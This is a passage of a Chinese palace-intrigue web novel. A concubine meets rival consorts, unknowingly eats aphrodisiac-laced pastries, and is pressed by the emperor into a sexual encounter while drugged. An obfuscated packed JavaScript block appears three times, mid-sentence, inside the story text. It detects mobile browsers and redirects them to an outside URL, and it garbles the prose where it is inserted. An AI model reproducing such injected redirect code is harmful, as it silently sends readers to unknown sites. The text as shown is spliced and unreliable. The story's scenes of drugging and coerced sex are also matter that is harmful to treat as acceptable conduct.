“本宫还当哪颗杏树成了精,原来是人逢喜事的贺才人,难怪如此打眼。” 向若蝶言辞不善,连带头上双插的红玛瑙步摇都被阳光折出异常刺眼的光芒,处处透着跋扈张扬。 她只冷冷睨了流萤一眼,便扭过脸去继续跟随前面不远处正跟嬷嬷玩儿的三皇子的身影。三皇子抓手一乐,她便也跟着勾唇扬笑。好不开心。 可最该享受这天伦之乐的,不应该是坐在一旁的姚梦芹吗? 明明她才是三皇子生母。此刻却只剩一脸局促,焦灼的目光也不知是该关注儿子,还是该留心“觊觎”她儿子的向若蝶。 “见过曹美人、见过姚美人。”流萤没有计较向若蝶的讥讽,只遵着规矩依次给曹可臻和姚梦芹各行了一礼。 “快快起来。”曹可臻起身虚扶了流萤一把,满脸笑意。 “听闻昨儿个皇上去了贺才人宫中,真是好生的福气。妹妹这般光彩照人,也难怪皇上喜欢,这是往哪儿去呀?” 明明是对流萤争宠行径直言不讳,可被曹可臻这样的蜜口甜舌一说,却叫人不好动气。 “去安仪殿。”流萤也是没打算遮遮掩掩,直言道,“皇上早朝匆忙,落了点儿东西,嫔妾给送过去。” 流萤也在假笑,但她的笑看起来更开朗、更没心没肺一点,竟还真有几分被情爱冲昏头脑的模样。 曹可臻见了她这般意外地有一刻卡顿,旋即才道,“原来贺才人也是个爽利的。那方才娘娘随口说的逗趣儿话,妹妹可万不能往心里去呀。” 曹可臻边说还边向流萤使了个眼色,倒像是真的为她好一般。流萤推脱说着不敢,心里却是给其笑面虎的标签又重重添了一笔。 临进宫前,闻景曾重点提醒过她两个人,一是真得闻寻喜欢的卢访烟,没事不要招惹她。 二就是成宣元年进宫的遂州司马之女曹可臻。聪慧机敏,城府颇深,事事以所居鸿福宫的主位向若蝶马首是瞻,很得其赏识与依赖。 而且听闻景那意思,叶知秋应该是已经和曹可臻打过交道、并且吃了亏的,不然也不会提早叫自己留心。 从前流萤还纳闷,曹可臻只是向若蝶的左膀右臂,又并非阮家一派,为何闻景也会对其上心?今日一见,她才明白闻景的提醒有多重要。 她要走到闻寻身边,对手可不是独指哪一个,而是后宫中的所有人。 爱叫的狗咬人都不疼,就怕那种闷声潜伏的猫,一旦被其锁定,那才真叫人防不胜防。 流萤趁机调转话头,大方目光也顺势望向了三皇子那边,快言快语问道。 “那位就是三皇子吧?粉雕玉琢的也太可爱了,姚美人真真是把三皇子照顾得极好呢。” 话是好话,可在场的人听了却没一个高兴的。 姚梦芹更是第一个注意到向若蝶的不悦,忙一把抢过话头紧张说道。 “嫔妾不敢居功,这两年幸得昭容娘娘多有照顾,皇儿才能茁壮成长。嫔妾先替皇儿多谢娘娘了,待皇儿长大成人,也必不能忘您的庇佑之恩。” 说罢还蹲下施了一礼。那慌不择乱的模样,可以说是一点其父在朝场上直言进谏时的无畏影子都没有。 姚梦芹身为谏议大夫之女,理应自幼深受家风熏陶,耳濡目染养成刚毅之性。然她却性情柔懦,譬如弱柳扶风,对谁都常怀惧色。 好在与她同居文禧宫的只有温静随和的婕妤虞青禾,不仅从未为难过她,平日里还多加照拂,也算是天意眷顾。 是以除了虞青禾,姚梦芹再不曾与宫中任何人交好。更别提让她见了就望而生畏的向若蝶和曹可臻二人。 今日聚在一起,也不过是向若蝶对她儿子发出的“邀约”。 姚梦芹所生的三皇子是宫中唯一的皇子,将满两岁。在此之前,宫里还曾有过一位二皇子,可惜未足满月就不幸夭折了,正是向若蝶所出。 自那之后,向若蝶便如同折了颈的天鹅,整日孤影独怜,忧伤交织。也试过再求闻寻要一个孩子,可闻寻却对她癫狂偏执的模样止步,除了锦衣玉食供着,再没踏足过鸿福宫一步。 而骄傲如她,待彻底看清闻寻心意后,也不再祈求,转而将目光投向了只比她的儿子晚出生几日的三皇子。 她没有孩子不要紧,还可以养别人的孩子。 于是日日探望,夜夜记挂,甚至常常幻想,若她的儿子长大了,是不是也该这般大小、这般好动。 对此,姚梦芹位卑言轻,无法拒绝。就连皇上和太后也都默许了向若蝶的所作所为,并好言相劝道多一个人疼、三皇子也能多一份保障。 这道理她自然也懂。 当初姚梦芹怀有身孕的时候就频遭宫中其他妃嫔嫉妒使绊,等孩子出生后更是整日提心吊胆,睡不了一个踏实觉。 所以为了儿子能平安长大,姚梦芹不得不逼迫自己去做个“与人分享”的母亲。好在向若蝶也是真的护着三皇子,算是不幸中的万幸。 流萤方才故意那样挑拨说话,只是为了证实关于三人的传闻是否都为真。 可如今将姚梦芹身为母亲的无奈讨好和谨慎卑躬都看在眼里,竟不由得叫流萤想起自己的娘也曾为了她去迎合那个男人。 同样的身不由己,同样的无私付出,看得流萤心里一阵唏嘘。 故而立刻装作恍然大悟般眨了眨眼,像是意识到自己说错话了真诚解释道。 “难怪三皇子如此伶俐活泼、有模有样,竟是昭容娘娘多有陪伴的原因在。嫔妾进宫时间尚短,不知道娘娘对三皇子这般倾心关怀、呵护备至,还望娘娘见谅。” 诸如此恭维的话一直不在少数,向若蝶从来都是不屑搭理,他们当面说得多好听,背地里就能骂得多难听。 但流萤今日这话,倒是叫向若蝶有几分受用。 只因她说三皇子朝气蓬勃、活灵活现的样子,像自己。 向若蝶贯不喜欢姚梦芹唯唯诺诺的作态,担心三皇子也被带得怯懦不堪。 于是便把她有的最好的、最贵的东西都拿给三皇子,让三皇子从有意识开始就知道自己是皇帝的儿子、是全天下最尊贵的人。 更是为了三皇子能有一身强健体魄,不像自己那个不幸的孩子一样白来人世一遭,向若蝶便春日里带他放风、冬日里陪他玩雪,肆意得狠,也用心得狠。 她是真当自己亲生儿子一样宠的。 回过神,又见流萤朝自己深深福了一礼还算恭敬,向若蝶终也是给了点好气儿,轻哼着说,“你倒是个明白的。” 再上下扫扫流萤,审视目光最后定格在那张青春明艳的小脸上,确实颜如舜华,国色天香。更难得的,是即使她颔首屈膝着,也丝毫掩盖不住身上那股与生俱来的傲劲儿。 于是在交错的逆光轮廓下,向若蝶竟就恍若看见了自己二八年华初长成时的影子。 不由得摇头嗤笑,“行了,别在这儿碍本宫的眼。要找皇上就快去,省得被人捷足先登了,又来埋怨本宫耽误你事儿。” 向若蝶不耐烦挥挥手,好像除了三皇子,再没什么能勾起她的兴致。 流萤也趁机拜别,快步离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339272|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只是姚梦芹那双复杂疲累的眼睛却一路回荡在她脑海里,直至到了安仪殿大门口,被人叫住时才彻底挥散。 “给贺才人请安,请问贺才人是来求见皇上的吗?” “小福子?!”看清来人,率先开口的是宝珠。 紫宸殿和安仪殿作为皇帝的专属宫室,时时刻刻都有羽林军值守。 宝珠眼睛穿过门前值守的几个高大魁梧的羽林军,一眼便看见了正从台阶上往外走的小福子,脱口就喊。等喊完了才意识到自己太放肆,立即捂上嘴偷偷看流萤,担心下次不带她出门了。 小福子听了倒是没怎么介意,轻声道了句,“姑娘好记性。” “皇上下朝了吗?”流萤问。 流萤偏头躲着羽林军盔甲折射出的银光,刻意与他们保持距离,只站在原地等待小福子靠近。 皇宫的禁军主要分为两大部分,一是在北门屯营负责皇宫内安全、尤其是皇帝龙体安危的羽林军,二是负责各部各局以及皇宫外围治安的南衙禁军。 不同于无法人道的太监,羽林军个个都是正常的男人,嫔妃们无论何时碰上都必须绕道走,多看一眼都容易被有心之人泼上脏水。 即便是偶遇到皇上,依旧要自找角度,尽量躲着簇拥在皇上身边的贴身侍卫。侍卫们这个时候也会主动退开点距离,避免和嫔妃有什么交集。因为一旦出事,他们的下场只会比那些女人更惨。 小福子加快脚步走到流萤身边,点头称是,“皇上今日下朝早,这会儿正在殿内小憩,特吩咐了不让进去打扰。” 敢情他也知道累啊。 流萤在心里泛起嘀咕,活该,谁叫他昨夜折腾自己那么久。 嘴上却是梨涡浅露道,“不妨事,我先在外面等等。若皇上待会儿不忙政事,再劳你帮我通传,若是不便我即刻就走,不会让你难做。” 流萤习惯对底下的奴才客气相待。 也并非她多有礼貌,而是这些年在底层摸爬滚打,她太清楚小鬼难缠的道理。着实没必要给自己平添麻烦。 越不起眼的人,越可能浑身长刺。就像她刚到积元寺的时候,就曾往师太的饭菜里掺过未焯熟的蘑菇,以报掌掴之仇。 可这些阴暗的心思都完美地藏在了流萤明眸善睐、笑靥如花的皮囊下。任谁看了,只会觉得她是个为人良善、十分好相与的主子。 小福子也如是想。轻声向其道了谢,“多谢贺才人体恤,外头风大,您随我先到偏殿等吧。皇上还得一会儿才能起身,奴才给您上杯茶。” 这态度对比昨日江绮玉被林保益请出来时,可是好了不止一星半点。 当然也跟人有关,江绮玉毕竟是闻寻亲口撵的,而自己却是闻寻昨日才当众破格宠爱的。 流萤跟着小福子往里走。 他应该是林保益比较喜欢的徒弟吧?昨日独留他在内室候着,今日看他带自己进来也是一路畅通无阻。 流萤想,比起林保益那个老油条,不如把心思放在还算稚嫩的小福子身上。多加笼络,早晚有用武之地。 旋即客气与其搭上话,“今儿又是一大天,辛苦你了,怕是得等夜里才能真正歇息上吧?” 她说的是昨晚站一宿、今日还得干一天活儿。小福子不仅听得懂,更是意外这主仆俩倒问的一致,便回话道,“宝珠姑娘也辛苦了,都是分内之事。” 宝珠显然是没料到小福子会提到自己。愣了一下又突然记起昨晚好像跟小福子表示过主子疼她、会让她多休息。 可今日自己却跟着一道来了。 她怕小福子误会流萤的善心,立即抢声道,“我来之前补过觉的!精神得很,主子还说晚些回去就换小金子来陪,不用我了!” 嗯? 我说过吗? 27. 误食醉欢 流萤疑惑看她,心想这丫头今儿怎么还管不住嘴了,他们二人不是昨晚才认识的吗?但瞧小福子只是身形稍顿后笑着点了点头,流萤便也没再说什么,安静坐下等待闻寻起身。 安仪殿里的每处格局都比紫宸殿小一圈,但更靠近后宫。推开北面宽大的格扇窗,就能将正对御花园的景色收入眼中,虽不是全景,但也日月经天、璀璨辉煌。 流萤很喜欢眼前的景色,是秋季独有的火红与澄黄层林尽染。比起只有月华泻影、星河长明的银汉宫,这里显然更具生命的气息。 如果能住在这里就好了。流萤暗想。 或是在御花园正中,建一座三层高阁,四时四景,一览无遗。听说宝华楼的二层就风景独美,他还真是…… 咕噜。 肚子突然传出一声响,打断了她天马行空的思绪。声音虽然不大,但作为主子,在下人面前失仪也极不雅观。流萤有些尴尬,还是小福子先接话请了罪。 “是奴才考虑不周。眼见该用午膳,却只招待才人用茶,奴才这就取两碟点心来。” “不麻烦了……诶,那儿不是就有吗?” 她也不是第一次饿肚子,没什么大不了的。别一会儿让闻寻看见了再拿点心说事,要是充当打发她的赏赐可就太得不偿失了。 她今天必须带走点什么。 流萤叫住欲往外走的小福子,突然瞥见靠门另一侧的小几上放了一个紫檀木食盒。那是装什么的? 小福子顺流萤的手看过去。 “那是昨日江美人送来的点心,剩两块忘了带走,方才皇上下朝回来看见了,吩咐让装好再送回去。奴才刚收拾妥当,就听通传殿外来人了,出去一见是您,便合计着稍晚些再给江美人送去也不迟。” 听闻是江绮玉送的,流萤还真有点好奇。这东西要么是她知闻寻喜好特意送的,要么就是按江绮玉自己喜欢的花样做的。无论知道哪个都不亏。 “不合皇上口味?”流萤做了一个招手的动作,示意小福子拿给她看看。 小福子稍有迟疑,担心流萤若真动了一块,那他还怎么完璧归赵?可细想想还是走过去取了回来,并刻意提醒一句,“皇上说这点心发苦,怕是江美人碱放多了。” “呦,还是江美人亲手做的呢!” 流萤亮着眼睛称奇,一边接过食盒,一边笑笑打趣说,“放心吧,我不动、就看看。” 她岂会听不懂小福子的言外之意,况且自己也没饿到非要吃别人一口隔夜糕点的地步。如今在宫中也算是过上好日子了,要什么吃食没有。 说话间,流萤已经打开了食盒,顿时一股发霉的橘皮味直冲出来。流萤嫌弃皱眉,东西都坏了还给人送回去干嘛,这不明摆着膈应人呢吗。 她屏住呼吸往里看,却发现里面的缃叶酥一点腐败的迹象都没有。流萤觉得奇怪,便伸手探了探,酥皮一碰就掉,根本是没坏呀。 那这味道是怎么回事? 难道江绮玉的手艺真这么差劲?别说闻寻不吃,这东西就是给看门的大黄狗也不见得敢舔上一口。 她怎么好意思拿出手? 委实可疑,便又低头仔细嗅嗅,竟发现浑浊的腐败气味下,还藏有一种苦中带涩、涩里泛辛的奇异味道? 那气味扑到脸上,就像剥橘子时皮里酸涩的汁水溅了上来。不擦干就痒痒的。 流萤想问小福子昨天送来时就是这个味吗?但还未说出口,就听门外一道戏谑十足的男声蓦地传进来。 “怎么,尚食局给你饿着了?跑到朕这里要饭。” 堂堂一国之君,不说出口成章,至少也得有点素质吧?第一此见面就骂自己是狗,现在又说自己是要饭的。流萤看他才是狗嘴里吐不出象牙。 心里一顿暗骂,但抬起头的瞬间,还是换上客套的笑脸相迎,“让皇上见笑了。” 流萤在摸清闻寻只是暴躁轻狂、任性妄为的小孩儿心性后,她就已不再跟闻寻正面对着干了。随他怎么呈口舌之快,只要自己不听,最后动气的就还是他。 “皇上休息好了?” 流萤起身恭迎,目若春水,乖顺的模样本应叫人看了心情愉悦,可闻寻却极不喜欢,又或者说是不想在她的脸上看到。 因为他见过流萤最真实、最桀骜的样子,知道眼前一切这都是假的、都是敷衍他的。 “你不尝尝?”闻寻没接她话,继续问自己的。 冷而无情的声音,让流萤听得很不舒服。 昨日还在一众奴才面前把恩宠演得那么真,怎么才隔一日就不装了?男人果然是得手了就不稀罕了。 殊不知,闻寻只是见她没真的咬上一口缃叶酥有些失望而已。 “那是江美人特意给皇上做的,嫔妾怎好横刀夺爱呢?况且嫔妾素不吃甜食,给您交完课业,就要回去了。” 闻寻冷哼一声,看见立一旁的宝珠果真从怀中卷筒里抽出一摞纸,才不屑问道,“二十页?” 流萤答,“二十页,不多不少。” “可朕说的是每日二十页。今日的,你要在这儿画完吗?” 啊? 天子也不能信口胡言吧? 流萤无语,心里更是快要将闻寻跟乡里小流氓画上等号。 但略略想一想倒也无妨,在安仪殿多待上一时半刻也没什么不好。毕竟“宠妃”嘛,哪儿有来了就走的。 遂大大方方接过话,“好啊,如果皇上想要嫔妾留下的话。” 见闻寻僵持吃瘪,流萤脸上笑意更深。 好像只有这个时候的闻寻,才能叫她愿意多看上几眼。 流萤甚至想,若一直以这种逗弄姿态与其相处,应该也能挺有意思。怎么说他那张俊脸长得也不算差,赏心悦目四个字还是配得上的。 如是想着,便越看怒翻白眼的闻寻、越觉得像以前在积元寺后门偷偷喂过的那条傲娇小黑狗。 每次碰见都咬她裤腿要吃食,不给吃的就一屁股坐下使劲儿嗷呜,非得等小肚子撑得圆鼓鼓的,才肯摇摇尾巴仰头晃走。喂多几次后,更是每日定时定点来守着流萤,一顿都不愿落下。若她哪天去晚了,见面还得先冲她使劲儿叫上几嗓子,叫够了才肯吃饭。 闻寻冷冷看着,也不知道流萤在高兴什么,只肯定是在气自己。可她笑得又实在灿烂,仿佛七月骄阳,让他即使心有忌惮、也忍不住想要再看一眼。 可也只有一眼。 “带她去书房,然后,传膳。” 闻寻下完令就头也不回走了,锦袍带起的小风贴流萤腿边刮过,有微微的凉意。 流萤不理他,只当小狗都喜欢扑腿。 闻寻穿过游廊驻足,伸手触摸着廊柱上的雕花,那冰凉的触感仿佛能穿透他的肌肤。夹杂着冷透的空气,一点点吹散了虚浮在他鼻间的情欲气息。 那味道来自缃叶酥,苦中带涩,若再多几种花香加以掩盖,则涩里回甘。正是醉欢香的味道。 这味道他从四年前第一次闻,一直记到了现在。 那年贤妃初孕,太后为了防止向若蝶也钻空有孕,便送了两个娇软无骨的美人到闻寻府上,并偷偷赐了醉欢香要求她们一定留住闻寻,更是承诺一旦有孕则保一辈子衣食无忧。 也正是这个保证,让二人迷了心智,擅自加了双倍药量,致使闻寻直接昏迷在了床上。 闻寻本就对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339273|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后送人进府的安排极其不满意,但府里处处是眼线,他也不得不做做样子。 于是当夜便去了其中一个房中,不想另一个竟然也在。闻寻才坐片刻就已浑身不自在,要走,手脚却突然松软,不听使唤,硬是被连拖带拽扭上了床。 闻寻凭最后一丝清醒狠狠推开二人,自己却也用力过猛,从床上掉下来栽到地上。后脑磕出了血,他便在昏迷中躺了三天。 第四天终于转醒,但身体仍不能动弹,闻寻索性继续装睡。意外听到太医和太后对话,才知这一切竟是太后使人用了迷晴药所致…… 是以对于江绮玉,闻寻从她进宫的第一天开始就已有所提防。 太后需要能把控在手的皇子,他一直知道。贤妃迟迟未能再孕,太后就急到怂恿自己去宠幸还未及笄的皇后,足可见其想要皇嗣的迫切。 是以搜罗来江绮玉,目的就只能有一个。那便是故技重施、再得皇嗣。 只是闻寻没有料到,太后竟还舍得费力气找来与卢访烟模样神似的人。难道以为这样,他就会心软成全吗? 呵呵,笑话。 他只会让江绮玉死得更惨。 所以当在江绮玉身上确实闻到了一模一样、甚至更重的醉欢香味道后,闻寻就开始了他沉寂多年的报复。 想要孩子,那就给你们这个机会。至于生不生得出,哼,可就得看你们的造化了。 闻寻希望流萤能给他这个惊喜。 “程兆。” 廊柱后,离闻寻最近的一个侍卫上前一步,抱拳听命。 “晚上带一队人,随侍甘泉殿。” 程兆藏在头盔下的眼睛暗暗动了一下,嘴上还是毫不迟疑应下,施礼转身,要先回去清点人。 闻寻点头,收拾心情继续往中厅走,他也饿了。早膳没用,昨晚又确实累。 很久没有这么累了。 但下朝小憩过后,又觉得神清气爽,精力充沛,连胃口都比平时好上一些。 小福子在旁布菜,见闻寻用得满意,他也跟着轻松万分。昨晚林保益已也陪着熬了一个大夜,今日闻寻便给了假让他在屋歇着。所以这贴身伺候的活儿,就轮到了小福子。 “皇上,可需要给贺才人也送些膳食?”小福子恭恭敬敬问。 他私心里觉得,今日的皇上能一改往日阴晴不定的躁怒,应该是跟流萤有关。虽不知她使了什么魔力,但确确实实是有些拿捏得住皇上的手段在的。 小福子觉得自己这样问,应该不会被骂。 不料上方威严的男声却是连犹豫都没犹豫,直接说道,“不必,少吃一顿也饿不死。” 这……小福子只好乖觉收声,继续布菜。直至用完膳,闻寻又特意绕道去了一趟书房,小福子才暗暗放心,自己押宝没押错。 只是书房里却不见流萤的身影。 “她人呢?” 闻寻走进,扫了眼空无一物的书案,带着愠气发问。 “回皇上。贺才人说她独自在您书房不成规矩,跟奴才要了笔墨又回偏殿去了。”门口的小太监战战兢兢答着话,担心闻寻的怒气会撒到自己身上。 哼,她还会在意什么规矩? 闻寻不信,转身迈步准备去偏殿看看。结果推门进去,竟真看见她斜坐在太师椅上。 袖口轻挽,露出的一小节手臂嫩白如藕,拄着小几台面上充当镇纸,另一只手则紧握着笔直直细画。神色认真,丝毫不被外面的脚步声所打扰。 闻寻漫漫扫过平铺一地的宣纸,眸子却在落到那咬剩一半的缃叶酥时骤然紧缩。 立即一个箭步过去拽起流萤,阴鸷又急迫,“谁让你吃的?!” 28. 两个选择 流萤一直伏在几乎和椅子平齐的小几上画画,本就压得有些缺氧,此刻又被闻寻冷不防这一下弄得心脏猛跳,滞在喉间的那口气儿一直倒上不来,硬是把她脸色都憋得紫红。 可落入闻寻眼中,却以为是药劲儿上头泛起的潮红。 “什么时候吃的?!”闻寻拽着她的手腕,还在逼问。 流萤使劲推他的手,终是隔出一点距离,急急倒了两口气儿才勉强说得出话。“嫔妾实在饿了,就吃了一口,明日一定重做新的给江美人还回去。” “我问你几时吃的!刚吃?”闻寻被她答非所问气得眼中似快有冷焰冒出。 “是呀,才刚咬一口,难不成还要嫔妾即刻吐出来吗?” 流萤无语,吃他一口东西而已,怎就气性这么大。那一会儿再想跟他要点赏赐岂不更是天方夜谭了? 流萤也生气。今日不知道怎么了,明明早上喝了整一碗粥,反而比平时饿得还快。要不是肚子咕噜个不停实在难堪,她才不屑吃江绮玉的东西呢! 而且还难吃的很!味道怪不说,里头的豆馅料更是没煮烂就包里了,硌得她牙疼。偏还没地方吐,只能咽下。 “诶诶,皇上,您……您带嫔妾去哪儿啊?” 流萤还没在心里骂完,突然脚下一腾,扭头看,竟是闻寻死拽她胳膊急急往外走呢! 那不容分说的凌厉模样,委实叫流萤摸不到头脑,尤其待她发现一路狂奔的目的地竟是最里面的寝殿后,便更是惴惴不安。 青天白日呢,他就要睡……睡觉了? 可闻寻关上门就开始脱衣服的动作,又实实在在告诉她,就是那个意思。 不会吧,吃他一口东西的代价能这么大?流萤不可置信,并且后悔莫及,连闻寻主动过来扯她裙带都险些忘了反抗。 直到那隔着衣裳都能感受到刺骨冰凉的双手攀附上来,她才猛一个激灵,扭曲出笑脸试探说道,“皇上,别吧。” 快到嘴边的大道理还没说出来,闻寻竟先停下了动作。 流萤有些错愕,对面那直直盯着自己的眼神也有一刻的质疑,旋即又变得玩味。硬在她脸上流连很久,才勾起一抹讥笑,“你确定?” 流萤虽被盯得有些发毛,但从知晓了闻寻意图开始,她就即刻调整,让自己一点点冷静下来。 白日宣淫,是宫中禁忌,跟留宿紫宸殿无二,她不能再给贤妃找自己麻烦的机会。 于是定定点头。但回应她的,却只有闻寻的冷哼。 “有你求我的时候。” 闻寻说放就放。 倏地起身,捡起扔在一旁的衣裳往身上随意一搭,大敞着怀,像是省得再脱麻烦。 他斜倚在高枕上,饶有兴致等待着流萤,等待她头脑浑热、等待她摇尾乞怜。 早前看流萤打量缃叶酥的时候,闻寻就想到过让她误食、然后出丑求饶的画面。所以听她说不吃,难免就有一点小失望。 可真当知道她错吃了后,自己身体上如假包换的急迫和心理上莫名其妙的紧张,却是叫闻寻始料未及的。 那种想看流萤窘然服软的心情,也渐渐被想要帮她解决的心思所取代。 闻寻甚至说不清,是否也有自己的欲望在伺机作祟。 因为就在亲手关上门的那一刻,他清晰感受到了体内有一股无端的兴奋,正在悄然变大。 周遭很静,只有流萤小心整理衣裳的沙沙声。虽是背对着闻寻,她依旧能感到身后目光的灼热。 心里不免泛起嘀咕。昨晚折腾快一个时辰不够,今天还在白日里就忍不住了? 那之前千方百计整出的猜数侍寝,就只是为了找个借口不去宠幸那些不入眼的妃子,好把时间都留给他喜欢的人吗?比如凝婕妤,听说闻寻每月至少要去上三趟宝华楼。 流萤在心里暗暗给闻寻定了性,并非什么薄情寡淡,反倒是对这事儿欲望强烈。整个一色授魂与、表里不一的登徒子。 又想他如今这般迫不期待,能不能是也对自己生了点儿好感? 不,不会的。 哪怕只有一丁点喜欢,都不会舍得让她顶上白日宣淫的罪过。闻寻还是那个心狠记仇的小人,只等着借别人的刀杀了自己。 流萤边合计边借着系领口扣子的动作,偷偷睨了一眼闻寻。不料对上那双狭长微扬的眸子,正闪烁出密谋的危险,一瞬不瞬看着自己。 流萤不悦收回眼神,只想着怎么尽快逃离这个魔爪。可越想,脑子里的思绪就越混乱,连带身体都不知怎地躁动起来,仿佛如坐针毡。 明明早过盛夏,流萤却觉得闷热无比。呼吸一直伴着心跳渐渐加快不说,系好的领口也不知为何骤然变得发紧,勒得她马上就要喘不过气来。 只得将系好的扣子再度解开,一颗不够,就又解了第二颗。 窸窣动作尽数落入闻寻眼中。闻寻微侧过头,待看清她涨红的面颊已经好似滴血,才意味深长地低头一笑。 下一刻便贴到了流萤的身后。 寒凉身躯前似怀抱火炉,吸引闻寻贴得更紧。 他垂着头自下而上,顺着流萤后颈一点点攀上耳后。他能清晰感受到,流萤耳垂上细小的绒毛都在不住地发颤,遂使坏地狠咬上一口,沉声道。 “难受?” “求我。” 闻寻不喜欢流萤虚情假意地对自己,也不喜欢她浑身长刺地扎自己。他只希望把流萤身上的利刺全部磨软,然后再一根根亲手拔掉。 那样,她就不能再藐然看自己。 那样,她才和自己是同一种人。 流萤自不会让他如愿,还说什么求他,简直痴人说梦。她见识过的腌臜手段远比闻寻多得多。 如果说方才一系列的变故她还只当闻寻是胆大妄为、肆意报复。那么此刻,闻寻眼底耐人寻味的神色,和自己身上愈演愈烈的躁动异样,就是在明明白白告诉她,她被下药了。 而且闻寻知道。 但闻寻不是下药的人,不然在偏殿时他表现出的就不会是紧张,而是得逞。 所以下药的必是江绮玉!她只吃过那碟缃叶酥。 “皇……皇上多虑了,嫔妾只是突感抱恙,侍候不了您。恐损伤龙体,还请……请允许嫔妾即刻回宫。” 流萤极力调整着呼吸,可强忍挤出的声线,还是将她那就快蔓延全身的火苗暴露无遗。绵软里透着倔强,簌簌落入闻寻耳中,意外地正中下怀。 他不满意流萤嘴硬强撑,更不甘心流萤死不求他,可他却气不起来。 那些本该在薄如蝉翼的外衣下无限膨胀的怒火,偏不知为何,独往他身下走去。顷刻便转化为汹涌澎湃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339274|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' □□,一路势不可挡。 “声音太小,我听不见。” “我说……” 流萤才刚吐出两个字,微启的唇瓣就立刻被闻寻强势堵上。 流萤想躲,可闻寻整个人从背后猛地伸探到她面前,结实胸膛压在肩上,叫她根本动弹不得。 她呜咽着想说放开,反给了闻寻伺机探入的机会。任舌尖一寸寸侵袭,灵魂也一步步沉沦。 闻寻这一吻极尽炽热、极尽缠绵,仿佛他才是被下药的人,浑身都透露出势必要将她融入骨血的狂热。 流萤强迫自己忽略闻寻的动作,将仅存的意识全部用来抵抗体内被点燃的燥热。 现在摆在她面前的只有两个选择,一是借闻寻消解药劲,二是泡冷水澡、外加喝皂角水催吐。 可眼下,冷水澡没有,皂角水更没有。 那就只剩第一个。 流萤飞速权衡着,脑海里闪过曾在积元寺时,同屋的女孩被灌下类似的药抵死不从,最后七窍流血的样子。那女孩保住了贞洁,却保不住性命。流萤当时有多佩服那女孩的贞烈,现在就有多渴求活下去的希望。 只有活着,才有一切。这是她死过一次后,刨开泥土重见阳光时想明白的第一个道理。 虽然觉得江绮玉不敢给闻寻用药劲太大的东西,但她也没必要赌。哪怕再被贤妃教训一顿,至少犯了宫规的惩罚还是可以预料的。但这药,她不确定。 遂也不再别扭,直接回吻了过去。想缠上已经在她嘴里肆意了很久的灵动小舌,可她却不会什么技巧,甚至有些跌跌撞撞。 闻寻诧异停下,她便顺势起身一个反扑,伸双臂攀上闻寻脖颈。那寒凉如玉的触感,瞬间就让早已燥热到顶点的她舒服极了,不由自主搂得更紧。 甚至毫不犹豫放开闻寻略显僵迟的唇,低头向下,一路蹭过他凉滑的下颌、喉结。 如同忍耐了一冬的小鹿,终于在解冻开化的春日里发现了第一条澄澈流淌的水源,只想一头扎进去贪婪汲取,顾不得其他。 闻寻也跟着颤动,他没料到江绮玉的药居然这么大药劲儿。 幸好带回来的及时,她这番销神蚀骨的模样可不能叫那几个人瞧见。 “子诀……” 什么?她叫我什么?! 虽然只有含糊一声,但闻寻还是清楚听到了流萤在喊他的小字。 自从她说去藏经阁找自己的画,闻寻就知道她早晚会发现这个秘密,是以昨晚在银汉宫作画时,就没有刻意隐藏。 此事宫中知道的人不算多,但也不是一个没有。只是,她怎么敢的? 从没人敢这样喊他,他也不准任何人叫他这个小字。是任何人。 闻寻一把扳起瘫软成水的流萤,敛着眉怒视她。刚要斥责,却正当对上那双湿漉漉仿佛才刚寖过水的微红眸子,蓦地如春光流动,堵上了所有想要质问的话。只想秋后再算…… 门外的宝珠从天青碧蓝等到彩霞满天,里间频频乍泄的响动叫人赧然。只有当火烧的云朵飘过恰能遮住脸红时,她才敢转头问小福子,要不要给主子备些热水? 她知道流萤一定想先洗洗澡。可这不是银汉宫,轮不到她说话。 “咱们听皇上吩咐就好。” 小福子没作解释,但他猜测皇上多半不会叫水。 29. 结仇招怨 小福子很小就净身进了宫,条条宫规早已滚瓜烂熟,自是知道白日宣淫这种大忌,若犯了,流萤少说要闭门思过三个月不得出。 但若皇上和流萤都不承认,那就没人敢胡乱加罪。即使跟前儿有欠嘴的奴才去找太后告状,流萤得到的惩罚也会比那种轻很多。 只是这样,流萤今日侍寝的记录就不会存档。 万一恰好是今日受孕、而前后几日又都没记录的话,那她这一胎就是混淆皇嗣血脉,是要株连九族的灭顶罪过。 幸而昨日闻寻留宿过银汉宫,只差一天的话差不出什么,是以小福子认为,皇上会帮流萤遮掩。这毕竟是皇上第一次留人在安仪殿侍寝。 